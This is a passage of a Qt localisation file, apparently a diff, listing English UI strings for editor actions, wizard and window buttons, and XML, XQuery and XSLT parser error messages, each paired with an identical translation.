- <source>Select to the previous word</source>
- <translation>Select to the previous word</translation>
- </message>
- <message>
- <source>Select to the next line</source>
- <translation>Select to the next line</translation>
- </message>
- <message>
- <source>Select to the previous line</source>
- <translation>Select to the previous line</translation>
- </message>
- <message>
- <source>Select to the start of the line</source>
- <translation>Select to the start of the line</translation>
- </message>
- <message>
- <source>Select to the end of the line</source>
- <translation>Select to the end of the line</translation>
- </message>
- <message>
- <source>Select to the start of the block</source>
- <translation>Select to the start of the block</translation>
- </message>
- <message>
- <source>Select to the end of the block</source>
- <translation>Select to the end of the block</translation>
- </message>
- <message>
- <source>Select to the start of the document</source>
- <translation>Select to the start of the document</translation>
- </message>
- <message>
- <source>Select to the end of the document</source>
- <translation>Select to the end of the document</translation>
- </message>
- <message>
- <source>Delete to the start of the word</source>
- <translation>Delete to the start of the word</translation>
- </message>
- <message>
- <source>Delete to the end of the word</source>
- <translation>Delete to the end of the word</translation>
- </message>
- <message>
- <source>Insert a new paragraph</source>
- <translation>Insert a new paragraph</translation>
- </message>
- <message>
- <source>Insert a new line</source>
- <translation>Insert a new line</translation>
- </message>
- <message>
- <source>Paste and Match Style</source>
- <translation>Paste and Match Style</translation>
- </message>
- <message>
- <source>Remove formatting</source>
- <translation>Remove formatting</translation>
- </message>
- <message>
- <source>Strikethrough</source>
- <translation>Strikethrough</translation>
- </message>
- <message>
- <source>Subscript</source>
- <translation>Subscript</translation>
- </message>
- <message>
- <source>Superscript</source>
- <translation>Superscript</translation>
- </message>
- <message>
- <source>Insert Bulleted List</source>
- <translation>Insert Bulleted List</translation>
- </message>
- <message>
- <source>Insert Numbered List</source>
- <translation>Insert Numbered List</translation>
- </message>
- <message>
- <source>Indent</source>
- <translation>Indent</translation>
- </message>
- <message>
- <source>Outdent</source>
- <translation>Outdent</translation>
- </message>
- <message>
- <source>Center</source>
- <translation>Center</translation>
- </message>
- <message>
- <source>Justify</source>
- <translation>Justify</translation>
- </message>
- <message>
- <source>Align Left</source>
- <translation>Align Left</translation>
- </message>
- <message>
- <source>Align Right</source>
- <translation>Align Right</translation>
- </message>
- </context>
- <context>
- <name>QWhatsThisAction</name>
- <message>
- <source>What&apos;s This?</source>
- <translation>What&apos;s This?</translation>
- </message>
- </context>
- <context>
- <name>QWidget</name>
- <message>
- <source>*</source>
- <translation>*</translation>
- </message>
- </context>
- <context>
- <name>QWizard</name>
- <message>
- <source>Cancel</source>
- <translation>Cancel</translation>
- </message>
- <message>
- <source>Help</source>
- <translation>Help</translation>
- </message>
- <message>
- <source>&lt; &amp;Back</source>
- <translation>&lt; &amp;Back</translation>
- </message>
- <message>
- <source>&amp;Finish</source>
- <translation>&amp;Finish</translation>
- </message>
- <message>
- <source>&amp;Help</source>
- <translation>&amp;Help</translation>
- </message>
- <message>
- <source>Go Back</source>
- <translation>Go Back</translation>
- </message>
- <message>
- <source>Continue</source>
- <translation>Continue</translation>
- </message>
- <message>
- <source>Commit</source>
- <translation>Commit</translation>
- </message>
- <message>
- <source>Done</source>
- <translation>Done</translation>
- </message>
- <message>
- <source>&amp;Next</source>
- <translation>&amp;Next</translation>
- </message>
- <message>
- <source>&amp;Next &gt;</source>
- <translation>&amp;Next &gt;</translation>
- </message>
- </context>
- <context>
- <name>QWorkspace</name>
- <message>
- <source>&amp;Restore</source>
- <translation>&amp;Restore</translation>
- </message>
- <message>
- <source>&amp;Move</source>
- <translation>&amp;Move</translation>
- </message>
- <message>
- <source>&amp;Size</source>
- <translation>&amp;Size</translation>
- </message>
- <message>
- <source>Mi&amp;nimize</source>
- <translation>Mi&amp;nimize</translation>
- </message>
- <message>
- <source>Ma&amp;ximize</source>
- <translation>Ma&amp;ximize</translation>
- </message>
- <message>
- <source>&amp;Close</source>
- <translation>&amp;Close</translation>
- </message>
- <message>
- <source>Stay on &amp;Top</source>
- <translation>Stay on &amp;Top</translation>
- </message>
- <message>
- <source>Minimize</source>
- <translation>Minimize</translation>
- </message>
- <message>
- <source>Restore Down</source>
- <translation>Restore Down</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Sh&amp;ade</source>
- <translation>Sh&amp;ade</translation>
- </message>
- <message>
- <source>%1 - [%2]</source>
- <translation>%1 - [%2]</translation>
- </message>
- <message>
- <source>&amp;Unshade</source>
- <translation>&amp;Unshade</translation>
- </message>
- </context>
- <context>
- <name>QXml</name>
- <message>
- <source>no error occurred</source>
- <translation>no error occurred</translation>
- </message>
- <message>
- <source>error triggered by consumer</source>
- <translation>error triggered by consumer</translation>
- </message>
- <message>
- <source>unexpected end of file</source>
- <translation>unexpected end of file</translation>
- </message>
- <message>
- <source>more than one document type definition</source>
- <translation>more than one document type definition</translation>
- </message>
- <message>
- <source>error occurred while parsing element</source>
- <translation>error occurred while parsing element</translation>
- </message>
- <message>
- <source>tag mismatch</source>
- <translation>tag mismatch</translation>
- </message>
- <message>
- <source>error occurred while parsing content</source>
- <translation>error occurred while parsing content</translation>
- </message>
- <message>
- <source>unexpected character</source>
- <translation>unexpected character</translation>
- </message>
- <message>
- <source>invalid name for processing instruction</source>
- <translation>invalid name for processing instruction</translation>
- </message>
- <message>
- <source>version expected while reading the XML declaration</source>
- <translation>version expected while reading the XML declaration</translation>
- </message>
- <message>
- <source>wrong value for standalone declaration</source>
- <translation>wrong value for standalone declaration</translation>
- </message>
- <message>
- <source>error occurred while parsing document type definition</source>
- <translation>error occurred while parsing document type definition</translation>
- </message>
- <message>
- <source>letter is expected</source>
- <translation>letter is expected</translation>
- </message>
- <message>
- <source>error occurred while parsing comment</source>
- <translation>error occurred while parsing comment</translation>
- </message>
- <message>
- <source>error occurred while parsing reference</source>
- <translation>error occurred while parsing reference</translation>
- </message>
- <message>
- <source>internal general entity reference not allowed in DTD</source>
- <translation>internal general entity reference not allowed in DTD</translation>
- </message>
- <message>
- <source>external parsed general entity reference not allowed in attribute value</source>
- <translation>external parsed general entity reference not allowed in attribute value</translation>
- </message>
- <message>
- <source>external parsed general entity reference not allowed in DTD</source>
- <translation>external parsed general entity reference not allowed in DTD</translation>
- </message>
- <message>
- <source>unparsed entity reference in wrong context</source>
- <translation>unparsed entity reference in wrong context</translation>
- </message>
- <message>
- <source>recursive entities</source>
- <translation>recursive entities</translation>
- </message>
- <message>
- <source>error in the text declaration of an external entity</source>
- <translation>error in the text declaration of an external entity</translation>
- </message>
- <message>
- <source>encoding declaration or standalone declaration expected while reading the XML declaration</source>
- <translation>encoding declaration or standalone declaration expected while reading the XML declaration</translation>
- </message>
- <message>
- <source>standalone declaration expected while reading the XML declaration</source>
- <translation>standalone declaration expected while reading the XML declaration</translation>
- </message>
- </context>
- <context>
- <name>QXmlPatternistCLI</name>
- <message>
- <source>Warning in %1, at line %2, column %3: %4</source>
- <translation>Warning in %1, at line %2, column %3: %4</translation>
- </message>
- <message>
- <source>Warning in %1: %2</source>
- <translation>Warning in %1: %2</translation>
- </message>
- <message>
- <source>Unknown location</source>
- <translation>Unknown location</translation>
- </message>
- <message>
- <source>Error %1 in %2, at line %3, column %4: %5</source>
- <translation>Error %1 in %2, at line %3, column %4: %5</translation>
- </message>
- <message>
- <source>Error %1 in %2: %3</source>
- <translation>Error %1 in %2: %3</translation>
- </message>
- </context>
- <context>
- <name>QXmlStream</name>
- <message>
- <source>Extra content at end of document.</source>
- <translation>Extra content at end of document.</translation>
- </message>
- <message>
- <source>Invalid entity value.</source>
- <translation>Invalid entity value.</translation>
- </message>
- <message>
- <source>Invalid XML character.</source>
- <translation>Invalid XML character.</translation>
- </message>
- <message>
- <source>Sequence &apos;]]&gt;&apos; not allowed in content.</source>
- <translation>Sequence &apos;]]&gt;&apos; not allowed in content.</translation>
- </message>
- <message>
- <source>Namespace prefix &apos;%1&apos; not declared</source>
- <translation>Namespace prefix &apos;%1&apos; not declared</translation>
- </message>
- <message>
- <source>Attribute redefined.</source>
- <translation>Attribute redefined.</translation>
- </message>
- <message>
- <source>Unexpected character &apos;%1&apos; in public id literal.</source>
- <translation>Unexpected character &apos;%1&apos; in public id literal.</translation>
- </message>
- <message>
- <source>Invalid XML version string.</source>
- <translation>Invalid XML version string.</translation>
- </message>
- <message>
- <source>Unsupported XML version.</source>
- <translation>Unsupported XML version.</translation>
- </message>
- <message>
- <source>%1 is an invalid encoding name.</source>
- <translation>%1 is an invalid encoding name.</translation>
- </message>
- <message>
- <source>Encoding %1 is unsupported</source>
- <translation>Encoding %1 is unsupported</translation>
- </message>
- <message>
- <source>Standalone accepts only yes or no.</source>
- <translation>Standalone accepts only yes or no.</translation>
- </message>
- <message>
- <source>Invalid attribute in XML declaration.</source>
- <translation>Invalid attribute in XML declaration.</translation>
- </message>
- <message>
- <source>Premature end of document.</source>
- <translation>Premature end of document.</translation>
- </message>
- <message>
- <source>Invalid document.</source>
- <translation>Invalid document.</translation>
- </message>
- <message>
- <source>Expected </source>
- <translation>Expected </translation>
- </message>
- <message>
- <source>, but got &apos;</source>
- <translation>, but got &apos;</translation>
- </message>
- <message>
- <source>Unexpected &apos;</source>
- <translation>Unexpected &apos;</translation>
- </message>
- <message>
- <source>Expected character data.</source>
- <translation>Expected character data.</translation>
- </message>
- <message>
- <source>Recursive entity detected.</source>
- <translation>Recursive entity detected.</translation>
- </message>
- <message>
- <source>Start tag expected.</source>
- <translation>Start tag expected.</translation>
- </message>
- <message>
- <source>XML declaration not at start of document.</source>
- <translation>XML declaration not at start of document.</translation>
- </message>
- <message>
- <source>NDATA in parameter entity declaration.</source>
- <translation>NDATA in parameter entity declaration.</translation>
- </message>
- <message>
- <source>%1 is an invalid processing instruction name.</source>
- <translation>%1 is an invalid processing instruction name.</translation>
- </message>
- <message>
- <source>Invalid processing instruction name.</source>
- <translation>Invalid processing instruction name.</translation>
- </message>
- <message>
- <source>Illegal namespace declaration.</source>
- <translation>Illegal namespace declaration.</translation>
- </message>
- <message>
- <source>Invalid XML name.</source>
- <translation>Invalid XML name.</translation>
- </message>
- <message>
- <source>Opening and ending tag mismatch.</source>
- <translation>Opening and ending tag mismatch.</translation>
- </message>
- <message>
- <source>Reference to unparsed entity &apos;%1&apos;.</source>
- <translation>Reference to unparsed entity &apos;%1&apos;.</translation>
- </message>
- <message>
- <source>Entity &apos;%1&apos; not declared.</source>
- <translation>Entity &apos;%1&apos; not declared.</translation>
- </message>
- <message>
- <source>Reference to external entity &apos;%1&apos; in attribute value.</source>
- <translation>Reference to external entity &apos;%1&apos; in attribute value.</translation>
- </message>
- <message>
- <source>Invalid character reference.</source>
- <translation>Invalid character reference.</translation>
- </message>
- <message>
- <source>Encountered incorrectly encoded content.</source>
- <translation>Encountered incorrectly encoded content.</translation>
- </message>
- <message>
- <source>The standalone pseudo attribute must appear after the encoding.</source>
- <translation>The standalone pseudo attribute must appear after the encoding.</translation>
- </message>
- <message>
- <source>%1 is an invalid PUBLIC identifier.</source>
- <translation>%1 is an invalid PUBLIC identifier.</translation>
- </message>
- </context>
- <context>
- <name>QtXmlPatterns</name>
- <message>
- <source>At least one component must be present.</source>
- <translation>At least one component must be present.</translation>
- </message>
- <message>
- <source>%1 is not a valid value of type %2.</source>
- <translation>%1 is not a valid value of type %2.</translation>
- </message>
- <message>
- <source>When casting to %1 from %2, the source value cannot be %3.</source>
- <translation>When casting to %1 from %2, the source value cannot be %3.</translation>
- </message>
- <message>
- <source>Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.</source>
- <translation>Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.</translation>
- </message>
- <message>
- <source>The data of a processing instruction cannot contain the string %1</source>
- <translation>The data of a processing instruction cannot contain the string %1</translation>
- </message>
- <message>
- <source>%1 is an invalid %2</source>
- <translation>%1 is an invalid %2</translation>
- </message>
- <message>
- <source>%1 is not a valid XML 1.0 character.</source>
- <translation>%1 is not a valid XML 1.0 character.</translation>
- </message>
- <message>
- <source>%1 was called.</source>
- <translation>%1 was called.</translation>
- </message>
- <message>
- <source>In the replacement string, %1 must be followed by at least one digit when not escaped.</source>
- <translation>In the replacement string, %1 must be followed by at least one digit when not escaped.</translation>
- </message>
- <message>
- <source>In the replacement string, %1 can only be used to escape itself or %2, not %3</source>
- <translation>In the replacement string, %1 can only be used to escape itself or %2, not %3</translation>
- </message>
- <message>
- <source>%1 matches newline characters</source>
- <translation>%1 matches newline characters</translation>
- </message>
- <message>
- <source>Matches are case insensitive</source>
- <translation>Matches are case insensitive</translation>
- </message>
- <message>
- <source>%1 is an invalid regular expression pattern: %2</source>
- <translation>%1 is an invalid regular expression pattern: %2</translation>
- </message>
- <message>
- <source>It will not be possible to retrieve %1.</source>
- <translation>It will not be possible to retrieve %1.</translation>
- </message>
- <message>
- <source>The default collection is undefined</source>
- <translation>The default collection is undefined</translation>
- </message>
- <message>
- <source>%1 cannot be retrieved</source>
- <translation>%1 cannot be retrieved</translation>
- </message>
- <message>
- <source>The item %1 did not match the required type %2.</source>
- <translation>The item %1 did not match the required type %2.</translation>
- </message>
- <message>
- <source>%1 is an unknown schema type.</source>
- <translation>%1 is an unknown schema type.</translation>
- </message>
- <message>
- <source>A template with name %1 has already been declared.</source>
- <translation>A template with name %1 has already been declared.</translation>
- </message>
- <message>
- <source>Only one %1 declaration can occur in the query prolog.</source>
- <translation>Only one %1 declaration can occur in the query prolog.</translation>
- </message>
- <message>
- <source>The initialization of variable %1 depends on itself</source>
- <translation>The initialization of variable %1 depends on itself</translation>
- </message>
- <message>
- <source>The variable %1 is unused</source>
- <translation>The variable %1 is unused</translation>
- </message>
- <message>
- <source>Version %1 is not supported. The supported XQuery version is 1.0.</source>
- <translation>Version %1 is not supported. The supported XQuery version is 1.0.</translation>
- </message>
- <message>
- <source>No function with signature %1 is available</source>
- <translation>No function with signature %1 is available</translation>
- </message>
- <message>
- <source>It is not possible to redeclare prefix %1.</source>
- <translation>It is not possible to redeclare prefix %1.</translation>
- </message>
- <message>
- <source>Prefix %1 is already declared in the prolog.</source>
- <translation>Prefix %1 is already declared in the prolog.</translation>
- </message>
- <message>
- <source>The name of an option must have a prefix. There is no default namespace for options.</source>
- <translation>The name of an option must have a prefix. There is no default namespace for options.</translation>
- </message>
- <message>
- <source>The Schema Import feature is not supported, and therefore %1 declarations cannot occur.</source>
- <translation>The Schema Import feature is not supported, and therefore %1 declarations cannot occur.</translation>
- </message>
- <message>
- <source>The target namespace of a %1 cannot be empty.</source>
- <translation>The target namespace of a %1 cannot be empty.</translation>
- </message>
- <message>
- <source>The module import feature is not supported</source>
- <translation>The module import feature is not supported</translation>
- </message>
- <message>
- <source>The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2</source>
- <translation>The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2</translation>
- </message>
- <message>
- <source>A function already exists with the signature %1.</source>
- <translation>A function already exists with the signature %1.</translation>
- </message>
- <message>
- <source>No external functions are supported. All supported functions can be used directly, without first declaring them as external</source>
- <translation>No external functions are supported. All supported functions can be used directly, without first declaring them as external</translation>
- </message>
- <message>
- <source>The %1-axis is unsupported in XQuery</source>
- <translation>The %1-axis is unsupported in XQuery</translation>
- </message>
- <message>
- <source>The namespace URI cannot be the empty string when binding to a prefix, %1.</source>
- <translation>The namespace URI cannot be the empty string when binding to a prefix, %1.</translation>
- </message>
- <message>
- <source>%1 is an invalid namespace URI.</source>
- <translation>%1 is an invalid namespace URI.</translation>
- </message>
- <message>
- <source>It is not possible to bind to the prefix %1</source>
- <translation>It is not possible to bind to the prefix %1</translation>
- </message>
- <message>
- <source>Two namespace declaration attributes have the same name: %1.</source>
- <translation>Two namespace declaration attributes have the same name: %1.</translation>
- </message>
- <message>
- <source>The namespace URI must be a constant and cannot use enclosed expressions.</source>
- <translation>The namespace URI must be a constant and cannot use enclosed expressions.</translation>
- </message>
- <message>
- <source>%1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.</source>
- <translation>%1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.</translation>
- </message>
- <message>
- <source>empty</source>
- <translation>empty</translation>
- </message>
- <message>
- <source>zero or one</source>
- <translation>zero or one</translation>
- </message>
- <message>
- <source>exactly one</source>
- <translation>exactly one</translation>
- </message>
- <message>
- <source>one or more</source>
- <translation>one or more</translation>
- </message>
- <message>
- <source>zero or more</source>
- <translation>zero or more</translation>
- </message>
- <message>
- <source>The focus is undefined.</source>
- <translation>The focus is undefined.</translation>
- </message>
- <message>
- <source>An attribute by name %1 has already been created.</source>
- <translation>An attribute by name %1 has already been created.</translation>
- </message>
- <message>
- <source>Network timeout.</source>
- <translation>Network timeout.</translation>
- </message>
- <message>
- <source>Element %1 can&apos;t be serialized because it appears outside the document element.</source>
- <translation>Element %1 can&apos;t be serialized because it appears outside the document element.</translation>
- </message>
- <message>
- <source>Year %1 is invalid because it begins with %2.</source>
- <translation>Year %1 is invalid because it begins with %2.</translation>
- </message>
- <message>
- <source>Day %1 is outside the range %2..%3.</source>
- <translation>Day %1 is outside the range %2..%3.</translation>
- </message>
- <message>
- <source>Month %1 is outside the range %2..%3.</source>
- <translation>Month %1 is outside the range %2..%3.</translation>
- </message>
- <message>
- <source>Overflow: Can&apos;t represent date %1.</source>
- <translation>Overflow: Can&apos;t represent date %1.</translation>
- </message>
- <message>
- <source>Day %1 is invalid for month %2.</source>
- <translation>Day %1 is invalid for month %2.</translation>
- </message>
- <message>
- <source>Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; </source>
- <translation>Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; </translation>
- </message>
- <message>
- <source>Time %1:%2:%3.%4 is invalid.</source>
- <translation>Time %1:%2:%3.%4 is invalid.</translation>
- </message>
- <message>
- <source>Overflow: Date can&apos;t be represented.</source>
- <translation>Overflow: Date can&apos;t be represented.</translation>
- </message>
- <message>
- <source>At least one time component must appear after the %1-delimiter.</source>
- <translation>At least one time component must appear after the %1-delimiter.</translation>
- </message>
- <message>
- <source>Dividing a value of type %1 by %2 (not-a-number) is not allowed.</source>
- <translation>Dividing a value of type %1 by %2 (not-a-number) is not allowed.</translation>
- </message>
- <message>
- <source>Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.</source>
- <translation>Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.</translation>
- </message>
- <message>
- <source>Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.</source>
- <translation>Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.</translation>
- </message>
- <message>
- <source>A value of type %1 cannot have an Effective Boolean Value.</source>
- <translation>A value of type %1 cannot have an Effective Boolean Value.</translation>
- </message>
- <message>
- <source>Value %1 of type %2 exceeds maximum (%3).</source>
- <translation>Value %1 of type %2 exceeds maximum (%3).</translation>
- </message>
- <message>
- <source>Value %1 of type %2 is below minimum (%3).</source>
- <translation>Value %1 of type %2 is below minimum (%3).</translation>
- </message>
- <message>
- <source>A value of type %1 must contain an even number of digits. The value %2 does not.</source>
- <translation>A value of type %1 must contain an even number of digits. The value %2 does not.</translation>
- </message>
- <message>
- <source>%1 is not valid as a value of type %2.</source>
- <translation>%1 is not valid as a value of type %2.</translation>
- </message>
- <message>
- <source>Operator %1 cannot be used on type %2.</source>
- <translation>Operator %1 cannot be used on type %2.</translation>
- </message>
- <message>
- <source>Operator %1 cannot be used on atomic values of type %2 and %3.</source>
- <translation>Operator %1 cannot be used on atomic values of type %2 and %3.</translation>
- </message>
- <message>
- <source>The namespace URI in the name for a computed attribute cannot be %1.</source>
- <translation>The namespace URI in the name for a computed attribute cannot be %1.</translation>
- </message>
- <message>
- <source>The name for a computed attribute cannot have the namespace URI %1 with the local name %2.</source>
- <translation>The name for a computed attribute cannot have the namespace URI %1 with the local name %2.</translation>
- </message>
- <message>
- <source>Type error in cast, expected %1, received %2.</source>
- <translation>Type error in cast, expected %1, received %2.</translation>
- </message>
- <message>
- <source>When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.</source>
- <translation>When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.</translation>
- </message>
- <message>
- <source>A comment cannot contain %1</source>
- <translation>A comment cannot contain %1</translation>
- </message>
- <message>
- <source>A comment cannot end with a %1.</source>
- <translation>A comment cannot end with a %1.</translation>
- </message>
- <message>
- <source>An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.</source>
- <translation>An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.</translation>
- </message>
- <message>
- <source>A library module cannot be evaluated directly. It must be imported from a main module.</source>
- <translation>A library module cannot be evaluated directly. It must be imported from a main module.</translation>
- </message>
- <message>
- <source>No template by name %1 exists.</source>
- <translation>No template by name %1 exists.</translation>
- </message>
- <message>
- <source>A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.</source>
- <translation>A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.</translation>
- </message>
- <message>
- <source>A positional predicate must evaluate to a single numeric value.</source>
- <translation>A positional predicate must evaluate to a single numeric value.</translation>
- </message>
- <message>
- <source>The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.</source>
- <translation>The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.</translation>
- </message>
- <message>
- <source>%1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.</source>
- <translation>%1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.</translation>
- </message>
- <message>
- <source>The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.</source>
- <translation>The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.</translation>
- </message>
- <message>
- <source>No namespace binding exists for the prefix %1</source>
- <translation>No namespace binding exists for the prefix %1</translation>
- </message>
- <message>
- <source>No namespace binding exists for the prefix %1 in %2</source>
- <translation>No namespace binding exists for the prefix %1 in %2</translation>
- </message>
- <message>
- <source>The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.</source>
- <translation>The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.</translation>
- </message>
- <message>
- <source>The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</source>
- <translation>The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</translation>
- </message>
- <message>
- <source>The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</source>
- <translation>The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</translation>
- </message>
- <message>
- <source>If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.</source>
- <translation>If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.</translation>
- </message>
- <message>
- <source>%1 must be followed by %2 or %3, not at the end of the replacement string.</source>
- <translation>%1 must be followed by %2 or %3, not at the end of the replacement string.</translation>
- </message>
- <message>
- <source>%1 and %2 match the start and end of a line.</source>
- <translation>%1 and %2 match the start and end of a line.</translation>
- </message>
- <message>
- <source>Whitespace characters are removed, except when they appear in character classes</source>
- <translation>Whitespace characters are removed, except when they appear in character classes</translation>
- </message>
- <message>
- <source>%1 is an invalid flag for regular expressions. Valid flags are:</source>
- <translation>%1 is an invalid flag for regular expressions. Valid flags are:</translation>
- </message>
- <message>
- <source>If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.</source>
- <translation>If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.</translation>
- </message>
- <message>
- <source>The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).</source>
- <translation>The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).</translation>
- </message>
- <message>
- <source>A zone offset must be in the range %1..%2 inclusive. %3 is out of range.</source>
- <translation>A zone offset must be in the range %1..%2 inclusive. %3 is out of range.</translation>
- </message>
- <message>
- <source>Required cardinality is %1; got cardinality %2.</source>
- <translation>Required cardinality is %1; got cardinality %2.</translation>
- </message>
- <message>
- <source>The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.</source>
- <translation>The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.</translation>
- </message>
- <message>
- <source>The keyword %1 cannot occur with any other mode name.</source>
- <translation>The keyword %1 cannot occur with any other mode name.</translation>
- </message>
- <message>
- <source>No variable with name %1 exists</source>
- <translation>No variable with name %1 exists</translation>
- </message>
- <message>
- <source>The value of attribute %1 must be of type %2, which %3 isn&apos;t.</source>
- <translation>The value of attribute %1 must be of type %2, which %3 isn&apos;t.</translation>
- </message>
- <message>
- <source>The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.</source>
- <translation>The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.</translation>
- </message>
- <message>
- <source>A variable with name %1 has already been declared.</source>
- <translation>A variable with name %1 has already been declared.</translation>
- </message>
- <message>
- <source>No value is available for the external variable with name %1.</source>
- <translation>No value is available for the external variable with name %1.</translation>
- </message>
- <message>
- <source>A stylesheet function must have a prefixed name.</source>
- <translation>A stylesheet function must have a prefixed name.</translation>
- </message>
- <message>
- <source>The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.</source>
- <translation>The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.</translation>
- </message>
- <message>
- <source>An argument with name %1 has already been declared. Every argument name must be unique.</source>
- <translation>An argument with name %1 has already been declared. Every argument name must be unique.</translation>
- </message>
- <message>
- <source>When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.</source>
- <translation>When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.</translation>
- </message>
- <message>
- <source>In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.</source>
- <translation>In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.</translation>
- </message>
- <message>
- <source>In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.</source>
- <translation>In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.</translation>
- </message>
- <message>
- <source>In an XSL-T pattern, function %1 cannot have a third argument.</source>
- <translation>In an XSL-T pattern, function %1 cannot have a third argument.</translation>
- </message>
- <message>
- <source>In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.</source>
- <translation>In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.</translation>
- </message>
- <message>
- <source>In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.</source>
- <translation>In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.</translation>
- </message>
- <message>
- <source>%1 is an invalid template mode name.</source>
- <translation>%1 is an invalid template mode name.</translation>
- </message>
- <message>
- <source>The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.</source>
- <translation>The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.</translation>
- </message>
- <message>
- <source>The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.</source>
- <translation>The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.</translation>
- </message>
- <message>
- <source>None of the pragma expressions are supported. Therefore, a fallback expression must be present</source>
- <translation>None of the pragma expressions are supported. Therefore, a fallback expression must be present</translation>
- </message>
- <message>
- <source>Each name of a template parameter must be unique; %1 is duplicated.</source>
- <translation>Each name of a template parameter must be unique; %1 is duplicated.</translation>
- </message>
- <message>
- <source>No function with name %1 is available.</source>
- <translation>No function with name %1 is available.</translation>
- </message>
- <message>
- <source>%1 is not a valid numeric literal.</source>
- <translation>%1 is not a valid numeric literal.</translation>
- </message>
- <message>
- <source>W3C XML Schema identity constraint selector</source>
- <translation>W3C XML Schema identity constraint selector</translation>
- </message>
- <message>
- <source>W3C XML Schema identity constraint field</source>
- <translation>W3C XML Schema identity constraint field</translation>
- </message>
- <message>
- <source>A construct was encountered which is disallowed in the current language(%1).</source>
- <translation>A construct was encountered which is disallowed in the current language(%1).</translation>
- </message>
- <message>
- <source>Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
- <translation>Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).</translation>
- </message>
- <message>
- <source>Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
- <translation>Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).</translation>
- </message>
- <message>
- <source>An attribute with name %1 has already appeared on this element.</source>
- <translation>An attribute with name %1 has already appeared on this element.</translation>
- </message>
- <message>
- <source>A direct element constructor is not well-formed. %1 is ended with %2.</source>
- <translation>A direct element constructor is not well-formed. %1 is ended with %2.</translation>
- </message>
- <message>
- <source>The name %1 does not refer to any schema type.</source>
- <translation>The name %1 does not refer to any schema type.</translation>
- </message>
- <message>
- <source>%1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.</source>
- <translation>%1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.</translation>
- </message>
- <message>
- <source>%1 is not an atomic type. Casting is only possible to atomic types.</source>
- <translation>%1 is not an atomic type. Casting is only possible to atomic types.</translation>
- </message>
- <message>
- <source>%1 is not a valid name for a processing-instruction.</source>
- <translation>%1 is not a valid name for a processing-instruction.</translation>
- </message>
- <message>
- <source>The name of an extension expression must be in a namespace.</source>
- <translation>The name of an extension expression must be in a namespace.</translation>
- </message>
- <message>
- <source>Required type is %1, but %2 was found.</source>
- <translation>Required type is %1, but %2 was found.</translation>
- </message>
- <message>
- <source>Promoting %1 to %2 may cause loss of precision.</source>
- <translation>Promoting %1 to %2 may cause loss of precision.</translation>
- </message>
- <message>
